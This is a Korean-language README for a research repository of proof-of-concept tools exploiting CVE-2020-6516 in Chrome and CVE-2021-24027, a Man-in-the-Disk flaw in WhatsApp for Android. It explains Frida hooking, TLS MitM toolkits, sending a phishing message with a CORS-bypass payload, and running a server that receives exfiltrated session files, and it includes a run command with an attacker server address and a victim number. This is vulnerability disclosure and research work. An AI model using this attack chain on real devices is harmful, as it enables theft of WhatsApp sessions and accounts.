
CVE-2020-6516 (Chrome) 및 CVE-2021-24027 (WhatsApp) 악용을 위한 PoC 및 도구
이 저장소는 Android용 WhatsApp에서 Man-in-the-Disk (MitD) 취약점을 원격으로 악용하기 위한 연구 [01]의 일환으로 개발된 PoC 코드와 도구를 포함합니다. 블로그 게시물에서 논의된 바와 같이, 여기에 있는 코드와 함께 제공되는 스크립트는 CVE-2020-6516 (Chrome) [02] 및 CVE-2021-24027 (WhatsApp) [03]을 악용하는 데 사용되었습니다.
이 저장소의 구조는 다음과 같습니다:
현재 디렉토리에는 Frida를 사용하여 WhatsApp을 후킹하고, CORS 우회 페이로드를 포함한 피싱 메시지를 전송하며, 피해자 장치에서 유출된 세션 파일이 전송되는 HTTP 서버를 실행하는 Python 도구가 포함되어 있습니다.
tls12_psk_extract/ 디렉토리에는 TLS v1.2 MitM 도구 세트가 포함되어 있습니다. MitM 환경을 준비하는 방법에 대한 자세한 내용은 해당 디렉토리의 README.md 파일을 참조하십시오.
watls_psk_extract/ 디렉토리에는 TLS v1.3 (WaTLS) MitM 도구 세트가 포함되어 있습니다. MitM 환경을 준비하는 방법에 대한 자세한 내용은 해당 디렉토리의 README.md 파일을 참조하십시오.
openssl-1.1.1f-patches/ 디렉토리에는 TLS v1.2 및/또는 TLS v1.3 MitM 환경 설정에 필요한 OpenSSL 1.1.1f 패치가 포함되어 있습니다.
secrets/ 디렉토리에는 WhatsApp TLS v1.3 인프라에서 사용하는 것과 유사한 인증서를 생성하기 위한 간단한 셸 스크립트와 OpenSSL 구성이 포함되어 있습니다. 생성된 키와 인증서는 TLS v1.2 및 v1.3 MitM 모두에 사용할 수 있습니다.
마지막으로, misc/ 디렉토리에는 연구 중 테스트 및 디버깅 목적으로 사용되었으며 다른 연구자에게 도움이 될 수 있는 다양한 Frida 스크립트가 포함되어 있습니다.
PoC를 테스트하려면 WhatsApp 2.20.206.22 [04]가 실행되는 Android 장치가 필요합니다. 저희 코드는 처음에 2.19.355용으로 개발되었으며, frida_scripts/ 디렉토리에서 해당 스니펫을 찾을 수 있지만, 해당 버전은 현재 '만료'된 것으로 간주되어 작동하지 않습니다.
PoC를 시작하기 전에 WhatsApp의 DEX 코드를 가능한 한 적게 컴파일하는 것이 좋습니다. 이렇게 하면 Frida가 특정 메서드를 후킹하지 못하는 등의 문제를 사전에 방지하는 데 도움이 될 수 있습니다.
adb shell
am force-stop com.whatsapp
pm compile -f -m space com.whatsapp
am start com.whatsapp/.Main
Frida 서버를 다운로드하고 기본 파일 이름을 그대로 유지한 채 Android 장치의 /data/local/tmp 아래에 푸시하세요. 버전 12.8.10이 테스트되었으며 잘 작동하는 것으로 알려져 있습니다. 원하는 경우 더 최신 버전을 다운로드해도 됩니다. PoC는 자동으로 Frida 서버 바이너리를 감지하고 적절한 명령줄 인수로 실행을 시도합니다.
cd /tmp
curl -O https://github.com/frida/frida/releases/download/12.8.10/frida-server-12.8.10-android-arm64.xz
xz -d frida-server-12.8.10-android-arm64.xz
adb push frida-server-12.8.10-android-arm64 /data/local/tmp
익스플로잇의 주요 로직은 main.py에 구현되어 있습니다. adb.py 및 frida_util.py 파일은 Android 장치에서 다양한 디버깅 작업을 위해 내부적으로 사용하는 도구의 축소 버전입니다.
PoC를 실행하려면 Android 장치를 컴퓨터에 연결하고 다음 명령을 실행하십시오:
python3 main.py -s ANDROID_SERIAL -a 192.168.1.100 -p 8000 -r \
images/the_guardian.jpg [email protected] "Rush for Mediterranean gas"
main.py에 전달되는 명령줄 스위치는 다음과 같습니다:
-s - 공격자가 컴퓨터에 여러 Android 장치를 연결한 경우 사용할 Android 장치의 일련 번호입니다.
-a 및 -p - 유출된 세션이 전송될 HTTP 서버의 주소와 포트입니다.
-r - main.py가 로컬 컴퓨터에서 앞서 언급한 HTTP 서버를 시작하도록 지시합니다. -r을 전달하지 않으면 -a 및 -p로 지정된 호스트에서 server.py를 실행해야 합니다.
위치 인수는 다음과 같습니다:
images/guardian.jpg - 피해자가 클릭하도록 유도하기 위해 가짜 메시지 미리보기로 사용될 JPG 이미지입니다.
[email protected] - WhatsApp 형식의 피해자 휴대폰 번호입니다. 일반적으로 국가 접두사 다음에 휴대폰 번호가 옵니다. 예를 들어, 그리스 번호(+30)는 [email protected]과 같습니다.
"Rush for Mediterranean gas" - 메시지 캡션으로 사용할 임의의 문자열입니다.
실제 사용 예를 보려면 블로그 게시물, 특히 데모 비디오를 참조하십시오.
[01] https://www.census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/
[02] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6516
[03] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-24027